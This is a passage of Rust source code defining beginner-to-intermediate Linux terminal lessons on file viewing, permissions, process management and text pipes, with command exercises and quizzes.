770 instruction: "To see just the first few lines of a file, use 'head'. Try viewing the first 10 lines of /etc/services".to_string(),
771 hint: Some("Type: head /etc/services".to_string()),
772 step_type: StepType::CommandExercise {
773 expected_command: "head /etc/services".to_string(),
774 validation: CommandValidation::Exact,
775 success_message: "Perfect! By default, 'head' shows the first 10 lines. Great for previewing files or checking log file headers.".to_string(),
776 },
777 },
778 LessonStep {
779 step_number: 7,
780 title: "Custom Line Count with head".to_string(),
781 instruction: "You can specify how many lines to show with -n. Try showing the first 5 lines: head -n 5 /etc/services".to_string(),
782 hint: Some("Type: head -n 5 /etc/services".to_string()),
783 step_type: StepType::CommandExercise {
784 expected_command: "head -n 5 /etc/services".to_string(),
785 validation: CommandValidation::Exact,
786 success_message: "Excellent! The -n flag controls the number of lines. You can also use the shorthand: head -5 /etc/services".to_string(),
787 },
788 },
789 LessonStep {
790 step_number: 8,
791 title: "Viewing File Endings with tail".to_string(),
792 instruction: "To see the last lines of a file, use 'tail'. This is crucial for checking log files. Try: tail /etc/services".to_string(),
793 hint: Some("Type: tail /etc/services".to_string()),
794 step_type: StepType::CommandExercise {
795 expected_command: "tail /etc/services".to_string(),
796 validation: CommandValidation::Exact,
797 success_message: "Great! 'tail' shows the last 10 lines by default. Essential for checking recent log entries!".to_string(),
798 },
799 },
800 LessonStep {
801 step_number: 9,
802 title: "Live Log Monitoring".to_string(),
803 instruction: "".to_string(),
804 hint: None,
805 step_type: StepType::Information {
806 content: "Pro tip: tail -f (follow mode)\n\nThe -f flag makes tail continuously show new lines as they're added to a file:\n\n tail -f /var/log/syslog\n\nThis is INCREDIBLY useful for:\n • Monitoring live log files\n • Watching application output\n • Debugging server issues\n • Tracking file changes in real-time\n\nPress Ctrl+C to stop following.\n\nExample: tail -f /var/log/nginx/access.log\nWatches web server traffic in real-time!".to_string(),
807 },
808 },
809 LessonStep {
810 step_number: 10,
811 title: "Introduction to grep".to_string(),
812 instruction: "grep searches for patterns in files. It's like Ctrl+F for the command line. Search for 'http' in /etc/services: grep http /etc/services".to_string(),
813 hint: Some("Type: grep http /etc/services".to_string()),
814 step_type: StepType::CommandExercise {
815 expected_command: "grep http /etc/services".to_string(),
816 validation: CommandValidation::Exact,
817 success_message: "Perfect! grep found all lines containing 'http'. Each matching line is displayed with the pattern highlighted.".to_string(),
818 },
819 },
820 LessonStep {
821 step_number: 11,
822 title: "Case-Insensitive Search".to_string(),
823 instruction: "By default, grep is case-sensitive. Use -i for case-insensitive search. Try: grep -i SSH /etc/services".to_string(),
824 hint: Some("Type: grep -i SSH /etc/services".to_string()),
825 step_type: StepType::CommandExercise {
826 expected_command: "grep -i SSH /etc/services".to_string(),
827 validation: CommandValidation::AnyOf(vec![
828 "grep -i SSH /etc/services".to_string(),
829 "grep -i ssh /etc/services".to_string(),
830 ]),
831 success_message: "Excellent! The -i flag makes grep ignore case, matching 'SSH', 'ssh', 'Ssh', etc. Very useful when you're not sure of the exact capitalization.".to_string(),
832 },
833 },
834 LessonStep {
835 step_number: 12,
836 title: "Completion: File Viewing Mastered!".to_string(),
837 instruction: "".to_string(),
838 hint: None,
839 step_type: StepType::Information {
840 content: "Congratulations! You've mastered file viewing!\n\nKey commands learned:\n • cat file.txt - Display entire file\n • cat file1 file2 - Display multiple files\n • less file.txt - Navigate large files (q to quit)\n • head file.txt - First 10 lines\n • head -n 20 file.txt - First 20 lines\n • tail file.txt - Last 10 lines\n • tail -f file.txt - Follow file (live updates)\n • grep pattern file - Search for pattern\n • grep -i pattern file - Case-insensitive search\n\nQuick reference:\n Small files? → cat\n Large files? → less\n Check beginning? → head\n Check end/logs? → tail\n Find something? → grep\n Watch live logs? → tail -f\n\nNext lesson: Learn text processing with pipes and filters!".to_string(),
841 },
842 },
843 ],
844 }
845}
846
847fn create_permissions_lesson() -> Lesson {
849 Lesson {
850 id: "permissions".to_string(),
851 title: "Permissions & Ownership".to_string(),
852 description: "Understand Linux file permissions, ownership, and how to modify them safely using chmod and chown.".to_string(),
853 difficulty: Difficulty::Intermediate,
854 estimated_minutes: 15,
855 prerequisites: vec!["nav-basics".to_string(), "file-mgmt".to_string()],
856 tags: vec!["intermediate".to_string(), "permissions".to_string(), "security".to_string()],
857 steps: vec![
858 LessonStep {
859 step_number: 1,
860 title: "Understanding Linux Permissions".to_string(),
861 instruction: "".to_string(),
862 hint: None,
863 step_type: StepType::Information {
864 content: "Welcome to Permissions & Ownership!\n\nLinux is a multi-user system. Permissions control who can read, write, or execute files.\n\nWhen you run 'ls -l', you see something like:\n -rw-r--r-- 1 user group 1234 Nov 16 10:30 file.txt\n\nLet's decode this:\n -rw-r--r-- ← Permissions (10 characters)\n 1 ← Number of hard links\n user ← Owner\n group ← Group\n 1234 ← Size in bytes\n Nov 16... ← Last modified date/time\n file.txt ← Filename\n\nWe'll focus on permissions and ownership. Understanding this is crucial for security!".to_string(),
865 },
866 },
867 LessonStep {
868 step_number: 2,
869 title: "Viewing Permissions".to_string(),
870 instruction: "First, let's see permissions in action. Use 'ls -l' to view detailed file information in your home directory.".to_string(),
871 hint: Some("Type: ls -l".to_string()),
872 step_type: StepType::CommandExercise {
873 expected_command: "ls -l".to_string(),
874 validation: CommandValidation::CommandOnly,
875 success_message: "Great! Look at the first column - those cryptic letters are the permissions. Let's decode them!".to_string(),
876 },
877 },
878 LessonStep {
879 step_number: 3,
880 title: "Decoding Permission Strings".to_string(),
881 instruction: "".to_string(),
882 hint: None,
883 step_type: StepType::Information {
884 content: "Understanding the 10-character permission string:\n\n -rw-r--r--\n ↑↑↑↑↑↑↑↑↑↑\n │││││││││└─ Others: read\n ││││││││└── Others: write (no)\n │││││││└─── Others: execute (no)\n ││││││└──── Group: read\n │││││└───── Group: write (no)\n ││││└────── Group: execute (no)\n │││└─────── Owner: read\n ││└──────── Owner: write\n │└───────── Owner: execute (no)\n └────────── File type (- = file, d = directory, l = link)\n\nThree permission types:\n r = read (4) - View file contents\n w = write (2) - Modify or delete\n x = execute (1) - Run as program/script\n\nThree permission groups:\n Owner → Group → Others (everyone else)".to_string(),
885 },
886 },
887 LessonStep {
888 step_number: 4,
889 title: "Quiz: Reading Permissions".to_string(),
890 instruction: "".to_string(),
891 hint: None,
892 step_type: StepType::MultipleChoice {
893 question: "A file has permissions '-rwxr-x---'. What can the group do?".to_string(),
894 options: vec![
895 "Read, write, and execute".to_string(),
896 "Read and execute only".to_string(),
897 "Execute only".to_string(),
898 "Nothing - no permissions".to_string(),
899 ],
900 correct_index: 1,
901 explanation: "Correct! Breaking it down: -rwxr-x---\nOwner (rwx) can do everything. Group (r-x) can read and execute but NOT write. Others (---) have no permissions at all. The middle set of three characters (r-x) represents group permissions.".to_string(),
902 },
903 },
904 LessonStep {
905 step_number: 5,
906 title: "Numeric Permission Notation".to_string(),
907 instruction: "".to_string(),
908 hint: None,
909 step_type: StepType::Information {
910 content: "Permissions can be expressed as numbers!\n\nEach permission has a value:\n r (read) = 4\n w (write) = 2\n x (execute) = 1\n - (none) = 0\n\nAdd them up for each group:\n rwx = 4+2+1 = 7 (all permissions)\n rw- = 4+2+0 = 6 (read + write)\n r-x = 4+0+1 = 5 (read + execute)\n r-- = 4+0+0 = 4 (read only)\n --- = 0+0+0 = 0 (no permissions)\n\nCommon permission sets:\n 644 = rw-r--r-- (owner writes, others read)\n 755 = rwxr-xr-x (owner writes, all execute)\n 600 = rw------- (owner only, private file)\n 777 = rwxrwxrwx (DANGEROUS - everyone can do everything!)\n\nExample: -rw-r--r-- = 644".to_string(),
911 },
912 },
913 LessonStep {
914 step_number: 6,
915 title: "Quiz: Numeric Permissions".to_string(),
916 instruction: "".to_string(),
917 hint: None,
918 step_type: StepType::MultipleChoice {
919 question: "What does 'chmod 755 script.sh' do?".to_string(),
920 options: vec![
921 "Owner: read only, Group/Others: read + execute".to_string(),
922 "Owner: all permissions, Group/Others: read + execute".to_string(),
923 "Everyone: all permissions (dangerous!)".to_string(),
924 "Owner: read + write, Group/Others: read only".to_string(),
925 ],
926 correct_index: 1,
927 explanation: "Correct! 755 means:\n 7 (owner) = rwx = 4+2+1 = full control\n 5 (group) = r-x = 4+0+1 = read and execute\n 5 (others) = r-x = 4+0+1 = read and execute\n\nThis is perfect for scripts and executables - the owner can modify it, but everyone can run it. Common for programs in /usr/bin!".to_string(),
928 },
929 },
930 LessonStep {
931 step_number: 7,
932 title: "Using chmod with Numbers".to_string(),
933 instruction: "Let's practice! First, create a test file: touch testfile.txt, then set its permissions to 644: chmod 644 testfile.txt".to_string(),
934 hint: Some("Type two commands: touch testfile.txt then chmod 644 testfile.txt".to_string()),
935 step_type: StepType::CommandExercise {
936 expected_command: "chmod 644 testfile.txt".to_string(),
937 validation: CommandValidation::Exact,
938 success_message: "Perfect! You've set the file to rw-r--r-- (644). You can write to it, but others can only read. This is the standard for regular files.".to_string(),
939 },
940 },
941 LessonStep {
942 step_number: 8,
943 title: "Using chmod with Symbolic Notation".to_string(),
944 instruction: "You can also use letters! Make testfile.txt executable for the owner: chmod u+x testfile.txt".to_string(),
945 hint: Some("Type: chmod u+x testfile.txt (u=user/owner, +x=add execute)".to_string()),
946 step_type: StepType::CommandExercise {
947 expected_command: "chmod u+x testfile.txt".to_string(),
948 validation: CommandValidation::Exact,
949 success_message: "Excellent! Symbolic notation is intuitive:\n u=user/owner, g=group, o=others, a=all\n +=add, -=remove, ==set exactly\n r=read, w=write, x=execute\n\nExamples: chmod g+w file (group can write), chmod o-r file (others can't read)".to_string(),
950 },
951 },
952 LessonStep {
953 step_number: 9,
954 title: "Making Scripts Executable".to_string(),
955 instruction: "Common task: making a script runnable. Use the shorthand to add execute permission for everyone: chmod +x testfile.txt".to_string(),
956 hint: Some("Type: chmod +x testfile.txt (no u/g/o means 'all')".to_string()),
957 step_type: StepType::CommandExercise {
958 expected_command: "chmod +x testfile.txt".to_string(),
959 validation: CommandValidation::Exact,
960 success_message: "Great! When you omit u/g/o, it applies to all. 'chmod +x' is the quickest way to make a script executable. Now you could run it with ./testfile.txt (if it were a script).".to_string(),
961 },
962 },
963 LessonStep {
964 step_number: 10,
965 title: "Understanding Ownership".to_string(),
966 instruction: "".to_string(),
967 hint: None,
968 step_type: StepType::Information {
969 content: "File Ownership in Linux:\n\nEvery file has TWO owners:\n 1. User owner (usually who created it)\n 2. Group owner (for sharing among team members)\n\nIn 'ls -l' output:\n -rw-r--r-- 1 alice developers 1234 Nov 16 file.txt\n ↑ ↑\n user group\n\nWhy does this matter?\n • Users in 'developers' group get the group permissions\n • Everyone else gets the 'others' permissions\n • Only root (admin) or the owner can change ownership\n\nCommon use case:\n Web server files owned by 'www-data' user and group\n Log files owned by 'syslog' user for security".to_string(),
970 },
971 },
972 LessonStep {
973 step_number: 11,
974 title: "Changing Ownership with chown".to_string(),
975 instruction: "".to_string(),
976 hint: None,
977 step_type: StepType::Information {
978 content: "The chown command changes file ownership:\n\nSyntax:\n chown user:group file.txt\n chown user file.txt (just change user)\n chown :group file.txt (just change group)\n\nExamples:\n sudo chown alice:developers file.txt\n sudo chown www-data:www-data /var/www/index.html\n sudo chown -R user:group /path/to/directory (-R = recursive)\n\nIMPORTANT:\n • Usually requires sudo (only root can change ownership)\n • Be careful with -R (recursive) - affects all files inside!\n • Don't change ownership of system files unless you know what you're doing\n\nFor practice, you typically don't need chown on your own files.\nYou're already the owner!".to_string(),
979 },
980 },
981 LessonStep {
982 step_number: 12,
983 title: "Quiz: Permission Safety".to_string(),
984 instruction: "".to_string(),
985 hint: None,
986 step_type: StepType::MultipleChoice {
987 question: "Why should you NEVER use 'chmod 777' on files?".to_string(),
988 options: vec![
989 "It's too complicated to type".to_string(),
990 "It gives EVERYONE full read, write, execute access - a security nightmare!".to_string(),
991 "It makes files read-only".to_string(),
992 "It only works on directories".to_string(),
993 ],
994 correct_index: 1,
995 explanation: "CORRECT! chmod 777 = rwxrwxrwx means EVERYONE on the system can read, modify, delete, and execute your file. This is a massive security risk!\n\nNever use 777! Instead:\n • 644 for regular files (rw-r--r--)\n • 755 for scripts/executables (rwxr-xr-x)\n • 600 for private files (rw-------)\n • 700 for private scripts (rwx------)\n\nUse minimal permissions needed. It's the principle of least privilege!".to_string(),
996 },
997 },
998 LessonStep {
999 step_number: 13,
1000 title: "Completion: Permissions Mastered!".to_string(),
1001 instruction: "".to_string(),
1002 hint: None,
1003 step_type: StepType::Information {
1004 content: "Excellent work! You understand Linux permissions!\n\nKey concepts:\n • Three permission types: read (r), write (w), execute (x)\n • Three groups: owner, group, others\n • Numeric notation: 644, 755, 600, 700\n • Symbolic notation: u+x, g-w, o=r\n\nEssential commands:\n ls -l View permissions\n chmod 644 file Set permissions (numeric)\n chmod u+x file Add execute for owner (symbolic)\n chmod +x file Make executable for all\n chown user:group file Change ownership (needs sudo)\n\nSafety rules:\n ✓ Never chmod 777 (security risk!)\n ✓ Use minimal permissions needed\n ✓ 644 for files, 755 for executables\n ✓ 600/700 for private data\n ✓ Be careful with -R (recursive)\n\nNext: Learn process management!".to_string(),
1005 },
1006 },
1007 ],
1008 }
1009}
1010
1011fn create_process_management_lesson() -> Lesson {
1013 Lesson {
1014 id: "process-mgmt".to_string(),
1015 title: "Process Management".to_string(),
1016 description: "Learn to monitor and control running processes using ps, top, kill, and background job management.".to_string(),
1017 difficulty: Difficulty::Intermediate,
1018 estimated_minutes: 15,
1019 prerequisites: vec!["nav-basics".to_string()],
1020 tags: vec!["intermediate".to_string(), "processes".to_string(), "system".to_string()],
1021 steps: vec![
1022 LessonStep {
1023 step_number: 1,
1024 title: "Introduction to Processes".to_string(),
1025 instruction: "".to_string(),
1026 hint: None,
1027 step_type: StepType::Information {
1028 content: "Welcome to Process Management!\n\nA 'process' is a running program. Every command you execute becomes a process. Your system runs hundreds of processes simultaneously.\n\nKey concepts:\n • PID (Process ID) - Unique number for each process\n • Parent/Child - Processes can spawn other processes\n • Foreground - Process using your terminal\n • Background - Process running without blocking terminal\n • Zombie - Dead process that hasn't been cleaned up\n\nYou'll learn to:\n • View running processes\n • Monitor system resources\n • Kill misbehaving processes\n • Run tasks in the background\n\nLet's dive in!".to_string(),
1029 },
1030 },
1031 LessonStep {
1032 step_number: 2,
1033 title: "Viewing Your Processes".to_string(),
1034 instruction: "The 'ps' command shows running processes. Try it: ps".to_string(),
1035 hint: Some("Type: ps".to_string()),
1036 step_type: StepType::CommandExercise {
1037 expected_command: "ps".to_string(),
1038 validation: CommandValidation::CommandOnly,
1039 success_message: "Good! You see a short list of processes in your current terminal. But there's much more happening! Let's see everything.".to_string(),
1040 },
1041 },
1042 LessonStep {
1043 step_number: 3,
1044 title: "Viewing All Processes".to_string(),
1045 instruction: "To see ALL processes on the system, use: ps aux (a=all users, u=user-oriented format, x=include processes without terminals)".to_string(),
1046 hint: Some("Type: ps aux".to_string()),
1047 step_type: StepType::CommandExercise {
1048 expected_command: "ps aux".to_string(),
1049 validation: CommandValidation::Exact,
1050 success_message: "Wow! Look at all those processes! Each line shows: USER, PID, CPU%, MEM%, COMMAND. This is a snapshot of your entire system.".to_string(),
1051 },
1052 },
1053 LessonStep {
1054 step_number: 4,
1055 title: "Understanding ps Output".to_string(),
1056 instruction: "".to_string(),
1057 hint: None,
1058 step_type: StepType::Information {
1059 content: "Decoding 'ps aux' output:\n\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.1 168580 12140 ? Ss Nov15 0:01 /sbin/init\n\nColumns explained:\n USER - Who owns the process\n PID - Process ID (unique identifier)\n %CPU - CPU usage percentage\n %MEM - Memory usage percentage\n VSZ - Virtual memory size (KB)\n RSS - Resident memory size (KB, actual RAM used)\n TTY - Terminal (? means no terminal)\n STAT - Process state:\n S = Sleeping (waiting)\n R = Running\n Z = Zombie (dead but not cleaned up)\n T = sTopped\n s = session leader\n + = foreground process\n START - When process started\n TIME - CPU time used\n COMMAND - The actual command/program".to_string(),
1060 },
1061 },
1062 LessonStep {
1063 step_number: 5,
1064 title: "Quiz: Process States".to_string(),
1065 instruction: "".to_string(),
1066 hint: None,
1067 step_type: StepType::MultipleChoice {
1068 question: "A process shows state 'Z' in ps output. What does this mean?".to_string(),
1069 options: vec![
1070 "The process is running normally".to_string(),
1071 "The process is asleep/waiting".to_string(),
1072 "It's a zombie - process finished but parent hasn't collected its exit status".to_string(),
1073 "The process is using zero CPU".to_string(),
1074 ],
1075 correct_index: 2,
1076 explanation: "Correct! A 'Z' (zombie) process has completed execution but its parent hasn't read its exit status yet. They usually clean up quickly. If you see many zombies, the parent process might be buggy. Zombies don't use resources but indicate a problem.".to_string(),
1077 },
1078 },
1079 LessonStep {
1080 step_number: 6,
1081 title: "Real-Time Monitoring with top".to_string(),
1082 instruction: "The 'top' command shows processes in real-time, updating every few seconds. Try it: top".to_string(),
1083 hint: Some("Type: top (press 'q' to quit when you're done looking)".to_string()),
1084 step_type: StepType::CommandExercise {
1085 expected_command: "top".to_string(),
1086 validation: CommandValidation::CommandOnly,
1087 success_message: "Great! 'top' is like a live dashboard. It shows:\n • Top section: system summary (CPU, memory, uptime)\n • Bottom: processes sorted by CPU usage\n • Press 'M' to sort by memory, 'P' for CPU, 'q' to quit\n • Press 'k' to kill a process by PID".to_string(),
1088 },
1089 },
1090 LessonStep {
1091 step_number: 7,
1092 title: "Finding Specific Processes".to_string(),
1093 instruction: "To find a specific process, combine ps with grep. Try searching for bash processes: ps aux | grep bash".to_string(),
1094 hint: Some("Type: ps aux | grep bash".to_string()),
1095 step_type: StepType::CommandExercise {
1096 expected_command: "ps aux | grep bash".to_string(),
1097 validation: CommandValidation::Exact,
1098 success_message: "Perfect! The pipe (|) sends ps output to grep, which filters for lines containing 'bash'. This is how you find specific running programs. Note: you'll also see the grep command itself in the results!".to_string(),
1099 },
1100 },
1101 LessonStep {
1102 step_number: 8,
1103 title: "Killing Processes Safely".to_string(),
1104 instruction: "".to_string(),
1105 hint: None,
1106 step_type: StepType::Information {
1107 content: "The 'kill' command sends signals to processes.\n\nCommon signals:\n kill PID - SIGTERM (15) - Polite request to terminate\n kill -9 PID - SIGKILL (9) - Force kill (cannot be ignored)\n kill -1 PID - SIGHUP (1) - Hangup, often reloads config\n kill -STOP PID - Pause process\n kill -CONT PID - Resume paused process\n\nBest practice:\n 1. Try 'kill PID' first (gives process chance to cleanup)\n 2. Wait a few seconds\n 3. If still running, use 'kill -9 PID' (force kill)\n\nALTERNATIVES:\n pkill firefox - Kill by name (all matching processes)\n killall firefox - Same as pkill\n kill -9 -1 - Kill all your processes (dangerous!)\n\nWarning: Only kill your own processes unless you're root!".to_string(),
1108 },
1109 },
1110 LessonStep {
1111 step_number: 9,
1112 title: "Quiz: Killing Processes".to_string(),
1113 instruction: "".to_string(),
1114 hint: None,
1115 step_type: StepType::MultipleChoice {
1116 question: "A program is frozen. What's the safest way to kill it?".to_string(),
1117 options: vec![
1118 "Immediately use 'kill -9 PID'".to_string(),
1119 "Try 'kill PID' first, then 'kill -9 PID' if it doesn't work".to_string(),
1120 "Use 'pkill -9' to kill all processes with that name".to_string(),
1121 "Restart the computer".to_string(),
1122 ],
1123 correct_index: 1,
1124 explanation: "Correct! Always try the polite 'kill PID' (SIGTERM) first. This allows the program to:\n • Save data\n • Close files properly\n • Clean up resources\n • Shutdown gracefully\n\nOnly use 'kill -9' (SIGKILL) if the process doesn't respond to SIGTERM. SIGKILL cannot be caught or ignored - it's an immediate termination with no cleanup.".to_string(),
1125 },
1126 },
1127 LessonStep {
1128 step_number: 10,
1129 title: "Running Commands in Background".to_string(),
1130 instruction: "".to_string(),
1131 hint: None,
1132 step_type: StepType::Information {
1133 content: "Background jobs let you multitask in the terminal!\n\nRunning in background:\n command & - Run command in background\n sleep 60 & - Example: sleep for 60 seconds in background\n\nManaging jobs:\n jobs - List background jobs\n fg - Bring last job to foreground\n fg %1 - Bring job 1 to foreground\n bg - Resume paused job in background\n Ctrl+Z - Pause current foreground job\n Ctrl+C - Kill current foreground job\n\nPractical workflow:\n 1. Start: command &\n 2. Check: jobs\n 3. Bring to front: fg %1\n 4. Pause: Ctrl+Z\n 5. Resume in back: bg\n\nExample:\n $ sleep 100 &\n [1] 12345 ← Job 1, PID 12345\n $ jobs\n [1]+ Running sleep 100 &".to_string(),
1134 },
1135 },
1136 LessonStep {
1137 step_number: 11,
1138 title: "Understanding Process Priority".to_string(),
1139 instruction: "".to_string(),
1140 hint: None,
1141 step_type: StepType::Information {
1142 content: "Process Priority and 'nice' values:\n\nEvery process has a priority (niceness) from -20 to 19:\n -20 = Highest priority (least nice, hogs CPU)\n 0 = Default priority\n 19 = Lowest priority (most nice, yields CPU)\n\nCommands:\n nice -n 10 command - Start with lower priority (+10)\n nice -n -5 command - Start with higher priority (needs root)\n renice 15 -p PID - Change running process priority\n top, then 'r' - Renice in top (enter PID, then value)\n\nWhen to use:\n • Running intensive backups: nice -n 15 backup.sh\n • Encoding video: nice -n 10 ffmpeg ...\n • Critical real-time app: sudo nice -n -10 app\n\nHigher nice value = lower priority = more CPU for other tasks.\nIt's called 'nice' because you're being nice by using less CPU!".to_string(),
1143 },
1144 },
1145 LessonStep {
1146 step_number: 12,
1147 title: "Completion: Process Management Mastered!".to_string(),
1148 instruction: "".to_string(),
1149 hint: None,
1150 step_type: StepType::Information {
1151 content: "Excellent! You can now manage processes like a pro!\n\nKey commands learned:\n ps List current processes\n ps aux List ALL processes with details\n ps aux | grep X Find specific process\n top Real-time process monitor (q to quit)\n htop Better top (if installed)\n\nKilling processes:\n kill PID Polite termination (SIGTERM)\n kill -9 PID Force kill (SIGKILL)\n pkill name Kill by process name\n killall name Kill all processes with name\n\nBackground jobs:\n command & Run in background\n jobs List background jobs\n fg Bring to foreground\n bg Resume in background\n Ctrl+Z Pause current job\n Ctrl+C Kill current job\n\nPriority:\n nice -n N cmd Start with priority\n renice N -p PID Change priority\n\nNext: Master text processing with pipes!".to_string(),
1152 },
1153 },
1154 ],
1155 }
1156}
1157
1158fn create_text_processing_lesson() -> Lesson {
1160 Lesson {
1161 id: "text-processing".to_string(),
1162 title: "Text Processing with Pipes".to_string(),
1163 description: "Master powerful text processing using grep, cut, sort, uniq, pipes, and basic sed/awk for data manipulation.".to_string(),
1164 difficulty: Difficulty::Intermediate,
1165 estimated_minutes: 20,
1166 prerequisites: vec!["file-viewing".to_string()],
1167 tags: vec!["intermediate".to_string(), "text".to_string(), "pipes".to_string()],
1168 steps: vec![
1169 LessonStep {
1170 step_number: 1,
1171 title: "The Power of Text Processing".to_string(),
1172 instruction: "".to_string(),
1173 hint: None,
1174 step_type: StepType::Information {
1175 content: "Welcome to Text Processing!\n\nLinux philosophy: Small, focused tools that do ONE thing well, combined through pipes.\n\nYou'll learn to:\n • Chain commands with pipes (|)\n • Filter text with grep patterns\n • Extract columns with cut\n • Sort and organize data\n • Find unique entries with uniq\n • Transform text with sed and awk\n\nThese tools turn the terminal into a data processing powerhouse!\n\nExample workflow:\n cat access.log | grep ERROR | cut -d' ' -f1 | sort | uniq -c\n ↑ read log → filter errors → extract IPs → sort → count unique\n\nLet's start simple and build up!".to_string(),
1176 },
1177 },
1178 LessonStep {
1179 step_number: 2,
1180 title: "Introduction to Pipes".to_string(),
1181 instruction: "Pipes (|) send output from one command as input to another. Try: ls -l | grep txt".to_string(),
1182 hint: Some("Type: ls -l | grep txt".to_string()),
1183 step_type: StepType::CommandExercise {
1184 expected_command: "ls -l | grep txt".to_string(),
1185 validation: CommandValidation::Exact,
1186 success_message: "Perfect! The pipe takes 'ls -l' output and filters it through grep, showing only lines with 'txt'. Pipes are the foundation of text processing!".to_string(),
1187 },
1188 },
1189 LessonStep {
1190 step_number: 3,
1191 title: "Advanced grep Patterns".to_string(),
1192 instruction: "grep can use regular expressions. The -E flag enables extended regex. Try finding lines starting with numbers in /etc/services: grep -E '^[0-9]' /etc/services".to_string(),
1193 hint: Some("Type: grep -E '^[0-9]' /etc/services (^ means start of line, [0-9] means any digit)".to_string()),
1194 step_type: StepType::CommandExercise {
1195 expected_command: "grep -E '^[0-9]' /etc/services".to_string(),
1196 validation: CommandValidation::Exact,
1197 success_message: "Great! Regular expressions are powerful:\n ^ = start of line\n $ = end of line\n . = any character\n * = zero or more\n + = one or more\n [0-9] = any digit\n [a-z] = any lowercase letter".to_string(),
1198 },
1199 },
1200 LessonStep {
1201 step_number: 4,
1202 title: "Showing Line Numbers and Context".to_string(),
1203 instruction: "grep -n shows line numbers. Try: grep -n http /etc/services | head -5".to_string(),
1204 hint: Some("Type: grep -n http /etc/services | head -5".to_string()),
1205 step_type: StepType::CommandExercise {
1206 expected_command: "grep -n http /etc/services | head -5".to_string(),
1207 validation: CommandValidation::Exact,
1208 success_message: "Excellent! The -n flag adds line numbers. Other useful grep flags:\n -v (invert, show non-matching)\n -c (count matches)\n -l (list filenames only)\n -A 3 (show 3 lines After match)\n -B 3 (show 3 lines Before match)\n -C 3 (show 3 lines of Context)".to_string(),
1209 },
1210 },
1211 LessonStep {
1212 step_number: 5,
1213 title: "Extracting Columns with cut".to_string(),
1214 instruction: "".to_string(),
1215 hint: None,
1216 step_type: StepType::Information {
1217 content: "'cut' extracts specific columns from text.\n\nCommon uses:\n cut -d':' -f1 /etc/passwd Extract 1st field (usernames)\n cut -d' ' -f1,3 file.txt Extract fields 1 and 3\n cut -c1-10 file.txt Extract characters 1-10\n\nOptions:\n -d 'delimiter' - Field separator (default: tab)\n -f fields - Which field(s) to extract (1,2,3 or 1-5)\n -c chars - Character positions\n\nExample with /etc/passwd:\n cat /etc/passwd | cut -d':' -f1,3\n Shows username (field 1) and user ID (field 3)\n\nGreat for:\n • CSV files (cut -d',')\n • Log files (cut -d' ')\n • Configuration files\n • Tab-separated data".to_string(),
1218 },
1219 },
1220 LessonStep {
1221 step_number: 6,
1222 title: "Practice: Extract Usernames".to_string(),
1223 instruction: "Extract just the usernames (first field) from /etc/passwd. Use cut with colon delimiter: cut -d':' -f1 /etc/passwd".to_string(),
1224 hint: Some("Type: cut -d':' -f1 /etc/passwd".to_string()),
1225 step_type: StepType::CommandExercise {
1226 expected_command: "cut -d':' -f1 /etc/passwd".to_string(),
1227 validation: CommandValidation::Exact,
1228 success_message: "Perfect! You've extracted all usernames. The /etc/passwd file uses colons as delimiters, and field 1 is the username. This is how you parse structured text files!".to_string(),
1229 },
1230 },
1231 LessonStep {
1232 step_number: 7,
1233 title: "Sorting Text with sort".to_string(),
1234 instruction: "The 'sort' command organizes lines alphabetically. Try sorting usernames: cut -d':' -f1 /etc/passwd | sort".to_string(),
1235 hint: Some("Type: cut -d':' -f1 /etc/passwd | sort".to_string()),
1236 step_type: StepType::CommandExercise {
1237 expected_command: "cut -d':' -f1 /etc/passwd | sort".to_string(),
1238 validation: CommandValidation::Exact,
1239 success_message: "Excellent! sort arranges lines alphabetically. Useful flags:\n -r (reverse order)\n -n (numeric sort)\n -k 2 (sort by column 2)\n -u (unique, remove duplicates)\n -t ':' (use : as delimiter)".to_string(),
1240 },
1241 },
1242 LessonStep {
1243 step_number: 8,
1244 title: "Quiz: Understanding Pipes".to_string(),
1245 instruction: "".to_string(),
1246 hint: None,
1247 step_type: StepType::MultipleChoice {
1248 question: "What does this command do: ps aux | grep python | wc -l".to_string(),
1249 options: vec![
1250 "Counts how many Python programs are installed".to_string(),
1251 "Counts lines in Python scripts".to_string(),
1252 "Counts how many running processes have 'python' in their name".to_string(),
1253 "Shows Python version".to_string(),
1254 ],
1255 correct_index: 2,
1256 explanation: "Correct! Let's break it down:\n 1. ps aux - List all processes\n 2. | grep python - Filter for lines containing 'python'\n 3. | wc -l - Count the lines (wc -l counts lines)\n\nSo it counts how many processes contain 'python' in their command/name. This is how you combine simple tools for complex tasks!".to_string(),
1257 },
1258 },
1259 LessonStep {
1260 step_number: 9,
1261 title: "Finding Unique Entries with uniq".to_string(),
1262 instruction: "".to_string(),
1263 hint: None,
1264 step_type: StepType::Information {
1265 content: "'uniq' removes duplicate adjacent lines.\n\nIMPORTANT: Lines must be sorted first!\n\nCommon usage:\n sort file.txt | uniq Remove duplicates\n sort file.txt | uniq -c Count occurrences\n sort file.txt | uniq -d Show only duplicates\n sort file.txt | uniq -u Show only unique lines\n\nReal-world example:\n cat access.log | cut -d' ' -f1 | sort | uniq -c | sort -rn\n ↑ Get IPs from log → sort → count each → sort by frequency\n\nWhy sort first?\n uniq only detects consecutive duplicates!\n Without sort: a,b,a,a,b → a,b,a,b (only middle duplicates removed)\n With sort: a,a,a,b,b → a,b (all duplicates removed)\n\nPro tip: 'sort -u' combines sort + uniq in one command!".to_string(),
1266 },
1267 },
1268 LessonStep {
1269 step_number: 10,
1270 title: "Counting with wc".to_string(),
1271 instruction: "".to_string(),
1272 hint: None,
1273 step_type: StepType::Information {
1274 content: "'wc' (word count) counts lines, words, and characters.\n\nUsage:\n wc file.txt Show lines, words, bytes\n wc -l file.txt Count lines only\n wc -w file.txt Count words only\n wc -c file.txt Count bytes/characters\n\nWith pipes:\n ls | wc -l Count files in directory\n ps aux | wc -l Count running processes\n grep ERROR log | wc -l Count errors in log\n cat file | wc -w Count words in file\n\nExample:\n $ wc /etc/passwd\n 45 72 2594 /etc/passwd\n ↑ ↑ ↑\n lines words bytes\n\nQuick counts:\n • How many users? → wc -l /etc/passwd\n • How many files? → ls | wc -l\n • How many errors? → grep ERROR log.txt | wc -l".to_string(),
1275 },
1276 },
1277 LessonStep {
1278 step_number: 11,
1279 title: "Introduction to sed".to_string(),
1280 instruction: "".to_string(),
1281 hint: None,
1282 step_type: StepType::Information {
